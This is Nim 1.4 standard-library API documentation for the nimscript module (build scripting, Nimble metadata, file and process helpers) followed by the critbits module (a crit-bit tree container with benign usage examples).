nim nimscript nimscript ========= To learn about scripting in Nim see [NimScript](nims) Types ----- ``` ScriptMode {...}{.pure.} = enum Silent, ## Be silent. Verbose, ## Be verbose. Whatif ## Do not run commands, instead just echo what ## would have been done. ``` Controls the behaviour of the script. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L174) Vars ---- ``` mode: ScriptMode ``` Set this to influence how mkDir, rmDir, rmFile etc. behave [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L181) ``` packageName = "" ``` Nimble support: Set this to the package name. It is usually not required to do that, nims' filename is the default. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L420) ``` version: string ``` Nimble support: The package's version. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L423) ``` author: string ``` Nimble support: The package's author. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L424) ``` description: string ``` Nimble support: The package's description. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L425) ``` license: string ``` Nimble support: The package's license. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L426) ``` srcDir: string ``` Nimble support: The package's source directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L427) ``` binDir: string ``` Nimble support: The package's binary directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L428) ``` backend: string ``` Nimble support: The package's backend. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L429) ``` skipDirs: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` skipFiles: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` skipExt: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` installDirs: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` installFiles: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` installExt: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` bin: seq[string] = @[] ``` Nimble metadata. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L431) ``` requiresData: seq[string] = @[] ``` Exposes the list of requirements for read and write accesses. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L433) Consts ------ ``` buildOS: string = "" ``` The OS this build is running on. Can be different from `system.hostOS` for cross compilations. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L16) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L16) ``` buildCPU: string = "" ``` The CPU this build is running on. Can be different from `system.hostCPU` for cross compilations. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L20) Procs ----- ``` proc getCurrentDir(): string {...}{.raises: [], tags: [].} ``` Retrieves the current working directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L50) ``` proc paramStr(i: int): string {...}{.raises: [], tags: [].} ``` Retrieves the `i`'th command line parameter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L59) ``` proc paramCount(): int {...}{.raises: [], tags: [].} ``` Retrieves the number of command line parameters. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L63) ``` proc switch(key: string; val = "") {...}{.raises: [], tags: [].} ``` Sets a Nim compiler command line switch, for example `switch("checks", "on")`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L67) ``` proc warning(name: string; val: bool) {...}{.raises: [], tags: [].} ``` Disables or enables a specific warning. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L72) ``` proc hint(name: string; val: bool) {...}{.raises: [], tags: [].} ``` Disables or enables a specific hint. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L77) ``` proc patchFile(package, filename, replacement: string) {...}{.raises: [], tags: [].} ``` Overrides the location of a given file belonging to the passed package. If the `replacement` is not an absolute path, the path is interpreted to be local to the Nimscript file that contains the call to `patchFile`, Nim's `--path` is not used at all to resolve the filename! Example: ``` patchFile("stdlib", "asyncdispatch", "patches/replacement") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L82) ``` proc getCommand(): string {...}{.raises: [], tags: [].} ``` Gets the Nim command that the compiler has been invoked with, for example "c", "js", "build", "help". [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L97) ``` proc setCommand(cmd: string; project = "") {...}{.raises: [], tags: [].} ``` Sets the Nim command that should be continued with after this Nimscript has finished. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L102) ``` proc cmpic(a, b: string): int {...}{.raises: [], tags: [].} ``` Compares `a` and `b` ignoring case. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L110) ``` proc getEnv(key: string; default = ""): string {...}{.tags: [ReadIOEffect], raises: [].} ``` Retrieves the environment variable of name `key`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L114) ``` proc existsEnv(key: string): bool {...}{.tags: [ReadIOEffect], raises: [].} ``` Checks for the existence of an environment variable named `key`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L118) ``` proc putEnv(key, val: string) {...}{.tags: [WriteIOEffect], raises: [].} ``` Sets the value of the environment variable named `key` to `val`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L122) ``` proc delEnv(key: string) {...}{.tags: [WriteIOEffect], raises: [].} ``` Deletes the environment variable named `key`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L126) ``` proc fileExists(filename: string): bool {...}{.tags: [ReadIOEffect], raises: [].} ``` Checks if the file exists. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L130) ``` proc dirExists(dir: string): bool {...}{.tags: [ReadIOEffect], raises: [].} ``` Checks if the directory `dir` exists. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L134) ``` proc selfExe(): string {...}{.raises: [], tags: [].} ``` Returns the currently running nim or nimble executable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L147) ``` proc toExe(filename: string): string {...}{.raises: [], tags: [].} ``` On Windows adds ".exe" to `filename`, else returns `filename` unmodified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L152) ``` proc toDll(filename: string): string {...}{.raises: [], tags: [].} ``` On Windows adds ".dll" to `filename`, on Posix produces "lib$filename.so". [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L156) ``` proc listDirs(dir: string): seq[string] {...}{.raises: [OSError], tags: [ReadIOEffect].} ``` Lists all the subdirectories (non-recursively) in the directory `dir`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L197) ``` proc listFiles(dir: string): seq[string] {...}{.raises: [OSError], tags: [ReadIOEffect].} ``` Lists all the files (non-recursively) in the directory `dir`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L202) ``` proc rmDir(dir: string; checkDir = false) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Removes the directory `dir`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L207) ``` proc rmFile(file: string) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Removes the `file`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L213) ``` proc mkDir(dir: string) {...}{.raises: [OSError], tags: [WriteIOEffect].} ``` Creates the directory `dir` including all necessary subdirectories. If the directory already exists, no error is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L219) ``` proc mvFile(from, to: string) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Moves the file `from` to `to`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L226) ``` proc mvDir(from, to: string) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Moves the dir `from` to `to`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L232) ``` proc cpFile(from, to: string) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Copies the file `from` to `to`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L238) ``` proc cpDir(from, to: string) {...}{.raises: [OSError], tags: [ReadIOEffect, WriteIOEffect].} ``` Copies the dir `from` to `to`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L244) ``` proc exec(command: string) {...}{.raises: [OSError], tags: [ExecIOEffect].} ``` Executes an external process. If the external process terminates with a non-zero exit code, an OSError exception is raised. **Note:** If you need a version of `exec` that returns the exit code and text output of the command, you can use [system.gorgeEx](system#gorgeEx,string,string,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L250) ``` proc exec(command: string; input: string; cache = "") {...}{.raises: [OSError], tags: [ExecIOEffect].} ``` Executes an external process. If the external process terminates with a non-zero exit code, an OSError exception is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L263) ``` proc selfExec(command: string) {...}{.raises: [OSError], tags: [ExecIOEffect].} ``` Executes an external command with the current nim/nimble executable. `Command` must not contain the "nim " part. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L273) ``` proc put(key, value: string) {...}{.raises: [], tags: [].} ``` Sets a configuration 'key' like 'gcc.options.always' to its value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L283) ``` proc get(key: string): string {...}{.raises: [], tags: [].} ``` Retrieves a configuration 'key' like 'gcc.options.always'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L287) ``` proc exists(key: string): bool {...}{.raises: [], tags: [].} ``` Checks for the existence of a configuration 'key' like 'gcc.options.always'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L291) ``` proc nimcacheDir(): string {...}{.raises: [], tags: [].} ``` Retrieves the location of 'nimcache'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L296) ``` proc projectName(): string {...}{.raises: [], tags: [].} ``` Retrieves the name of the current project [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L300) ``` proc projectDir(): string {...}{.raises: [], tags: [].} ``` Retrieves the absolute directory of the current project [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L304) ``` proc projectPath(): string {...}{.raises: [], tags: [].} ``` Retrieves the absolute path of the current project [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L308) ``` proc thisDir(): string {...}{.raises: [], tags: [].} ``` Retrieves the directory of the current `nims` script file. Its path is obtained via `currentSourcePath` (although, currently, `currentSourcePath` resolves symlinks, unlike `thisDir`). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L312) ``` proc cd(dir: string) {...}{.raises: [OSError], tags: [].} ``` Changes the current directory. The change is permanent for the rest of the execution, since this is just a shortcut for [os.setCurrentDir()](os#setCurrentDir,string) . Use the [withDir()](#withDir.t,string,untyped) template if you want to perform a temporary change only. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L318) ``` proc findExe(bin: string): string {...}{.raises: [], tags: [].} ``` Searches for bin in the current working directory and then in directories listed in the PATH environment variable. Returns "" if the exe cannot be found. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L328) ``` proc cppDefine(define: string) {...}{.raises: [], tags: [].} ``` tell Nim that `define` is a C preprocessor `#define` and so always needs to be mangled. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L358) ``` proc readLineFromStdin(): TaintedString {...}{.raises: [IOError], tags: [ReadIOEffect].} ``` Reads a line of data from stdin - blocks until n or EOF which happens when stdin is closed [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L371) ``` proc readAllFromStdin(): TaintedString {...}{.raises: [IOError], tags: [ReadIOEffect].} ``` Reads all data from stdin - blocks until EOF which happens when stdin is closed [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L377) ``` proc requires(deps: varargs[string]) {...}{.raises: [], tags: [].} ``` Nimble support: Call this to set the list of requirements of your Nimble package. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L436) Templates --------- ``` template existsFile(args: varargs[untyped]): untyped {...}{. deprecated: "use fileExists".} ``` **Deprecated:** use fileExists [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L139) ``` template existsDir(args: varargs[untyped]): untyped {...}{. deprecated: "use dirExists".} ``` **Deprecated:** use dirExists [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L144) ``` template `--`(key, val: untyped) ``` A shortcut for `switch(astToStr(key), astToStr(val))`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L165) ``` template `--`(key: untyped) ``` A shortcut for `switch(astToStr(key)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L169) ``` template withDir(dir: string; body: untyped): untyped ``` Changes the current directory temporarily. If you need a permanent change, use the [cd()](#cd,string) proc. Usage example: ``` withDir "foo": # inside foo #back to last dir ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L334) ``` template task(name: untyped; description: string; body: untyped): untyped ``` Defines a task. Hidden tasks are supported via an empty description. Example: ``` task build, "default build is via the C backend": setCommand "c" ``` For a task named `foo`, this template generates a `proc` named `fooTask`. This is useful if you need to call one task in another in your Nimscript. Example: ``` task foo, "foo": # > nim foo echo "Running foo" # Running foo task bar, "bar": # > nim bar echo "Running bar" # Running bar fooTask() # Running foo ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/nimscript.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/nimscript.nim#L385)
programming_docs
nim critbits critbits ======== This module implements a crit bit tree which is an efficient container for a sorted set of strings, or for a sorted mapping of strings. Based on the excellent paper by Adam Langley. (A crit bit tree is a form of radix tree or patricia trie.) **Example:** ``` static: block: var critbitAsSet: CritBitTree[void] doAssert critbitAsSet.len == 0 incl critbitAsSet, "kitten" doAssert critbitAsSet.len == 1 incl critbitAsSet, "puppy" doAssert critbitAsSet.len == 2 incl critbitAsSet, "kitten" doAssert critbitAsSet.len == 2 incl critbitAsSet, "" doAssert critbitAsSet.len == 3 block: var critbitAsDict: CritBitTree[int] critbitAsDict["key"] = 42 doAssert critbitAsDict["key"] == 42 critbitAsDict["key"] = 0 doAssert critbitAsDict["key"] == 0 critbitAsDict["key"] = -int.high doAssert critbitAsDict["key"] == -int.high critbitAsDict["key"] = int.high doAssert critbitAsDict["key"] == int.high ``` Imports ------- <since> Types ----- ``` CritBitTree[T] = object root: Node[T] count: int ``` The crit bit tree can either be used as a mapping from strings to some type `T` or as a set of strings if `T` is void. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L29) Procs ----- ``` proc excl[T](c: var CritBitTree[T]; key: string) ``` Removes `key` (and its associated value) from the set `c`. If the `key` does not exist, nothing happens. See also: * [incl proc](#incl,CritBitTree%5Bvoid%5D,string) * [incl proc](#incl,CritBitTree%5BT%5D,string,T) **Example:** ``` var c: CritBitTree[void] incl(c, "key") excl(c, "key") doAssert not c.contains("key") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L143) ``` proc missingOrExcl[T](c: var CritBitTree[T]; key: string): bool ``` Returns true if `c` does not contain the given `key`. If the key does exist, c.excl(key) is performed. See also: * [excl proc](#excl,CritBitTree%5BT%5D,string) * [containsOrIncl proc](#containsOrIncl,CritBitTree%5BT%5D,string,T) * [containsOrIncl proc](#containsOrIncl,CritBitTree%5Bvoid%5D,string) **Example:** ``` block: var c: CritBitTree[void] doAssert c.missingOrExcl("key") block: var c: CritBitTree[void] incl(c, "key") doAssert not c.missingOrExcl("key") doAssert not c.contains("key") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L158) ``` proc containsOrIncl[T](c: var CritBitTree[T]; key: string; val: T): bool ``` Returns true if `c` contains the given `key`. If the key does not exist `c[key] = val` is performed. See also: * [incl proc](#incl,CritBitTree%5Bvoid%5D,string) * [incl proc](#incl,CritBitTree%5BT%5D,string,T) * [containsOrIncl proc](#containsOrIncl,CritBitTree%5Bvoid%5D,string) * [missingOrExcl proc](#missingOrExcl,CritBitTree%5BT%5D,string) **Example:** ``` block: var c: CritBitTree[int] doAssert not c.containsOrIncl("key", 42) doAssert c.contains("key") block: var c: CritBitTree[int] incl(c, "key", 21) doAssert c.containsOrIncl("key", 42) doAssert c["key"] == 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L180) ``` proc containsOrIncl(c: var CritBitTree[void]; key: string): bool {...}{.raises: [], tags: [].} ``` Returns true if `c` contains the given `key`. If the key does not exist it is inserted into `c`. See also: * [incl proc](#incl,CritBitTree%5Bvoid%5D,string) * [incl proc](#incl,CritBitTree%5BT%5D,string,T) * [containsOrIncl proc](#containsOrIncl,CritBitTree%5BT%5D,string,T) * [missingOrExcl proc](#missingOrExcl,CritBitTree%5BT%5D,string) **Example:** ``` block: var c: CritBitTree[void] doAssert not c.containsOrIncl("key") doAssert c.contains("key") block: var c: CritBitTree[void] incl(c, "key") doAssert c.containsOrIncl("key") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L206) ``` proc inc(c: var CritBitTree[int]; key: string; val: int = 1) {...}{.raises: [], tags: [].} ``` Increments `c[key]` by `val`. **Example:** ``` var c: CritBitTree[int] c["key"] = 1 inc(c, "key") doAssert c["key"] == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L229) ``` proc incl(c: var CritBitTree[void]; key: string) {...}{.raises: [], tags: [].} ``` Includes `key` in `c`. See also: * [excl proc](#excl,CritBitTree%5BT%5D,string) * [incl proc](#incl,CritBitTree%5BT%5D,string,T) **Example:** ``` var c: CritBitTree[void] incl(c, "key") doAssert c.hasKey("key") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L240) ``` proc incl[T](c: var CritBitTree[T]; key: string; val: T) ``` Inserts `key` with value `val` into `c`. See also: * [excl proc](#excl,CritBitTree%5BT%5D,string) * [incl proc](#incl,CritBitTree%5Bvoid%5D,string) **Example:** ``` var c: CritBitTree[int] incl(c, "key", 42) doAssert c["key"] == 42 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L253) ``` proc `[]=`[T](c: var CritBitTree[T]; key: string; val: T) ``` Puts a (key, value)-pair into `t`. See also: * [[] proc](#%5B%5D,CritBitTree%5BT%5D,string) * [[] proc](#%5B%5D,CritBitTree%5BT%5D,string_2) **Example:** ``` var c: CritBitTree[int] c["key"] = 42 doAssert c["key"] == 42 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L267) Funcs ----- ``` func len[T](c: CritBitTree[T]): int {...}{.inline.} ``` Returns the number of elements in `c` in O(1). **Example:** ``` var c: CritBitTree[void] incl(c, "key1") incl(c, "key2") doAssert c.len == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L36) ``` func contains[T](c: CritBitTree[T]; key: string): bool {...}{.inline.} ``` Returns true if `c` contains the given `key`. **Example:** ``` var c: CritBitTree[void] incl(c, "key") doAssert c.contains("key") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L56) ``` func hasKey[T](c: CritBitTree[T]; key: string): bool {...}{.inline.} ``` Alias for [contains](#contains,CritBitTree%5BT%5D,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L65) ``` func `[]`[T](c: CritBitTree[T]; key: string): T {...}{.inline.} ``` Retrieves the value at `c[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with `hasKey` whether the key exists. See also: * [[] proc](#%5B%5D,CritBitTree%5BT%5D,string_2) * [[]= proc](#%5B%5D=,CritBitTree%5BT%5D,string,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L288) ``` func `[]`[T](c: var CritBitTree[T]; key: string): var T {...}{.inline.} ``` Retrieves the value at `c[key]`. The value can be modified. If `key` is not in `t`, the `KeyError` exception is raised. See also: * [[] proc](#%5B%5D,CritBitTree%5BT%5D,string) * [[]= proc](#%5B%5D=,CritBitTree%5BT%5D,string,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L298) ``` func `$`[T](c: CritBitTree[T]): string ``` Turns `c` into a string representation. Example outputs: `{keyA: value, keyB: value}`, `{:}` If `T` is void the outputs look like: `{keyA, keyB}`, `{}`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L488) ``` func commonPrefixLen[T](c: CritBitTree[T]): int {...}{.inline.} ``` Returns longest common prefix length of all keys of `c`. If `c` is empty, returns 0. **Example:** ``` var c: CritBitTree[void] doAssert c.commonPrefixLen == 0 incl(c, "key1") doAssert c.commonPrefixLen == 4 incl(c, "key2") doAssert c.commonPrefixLen == 3 ``` 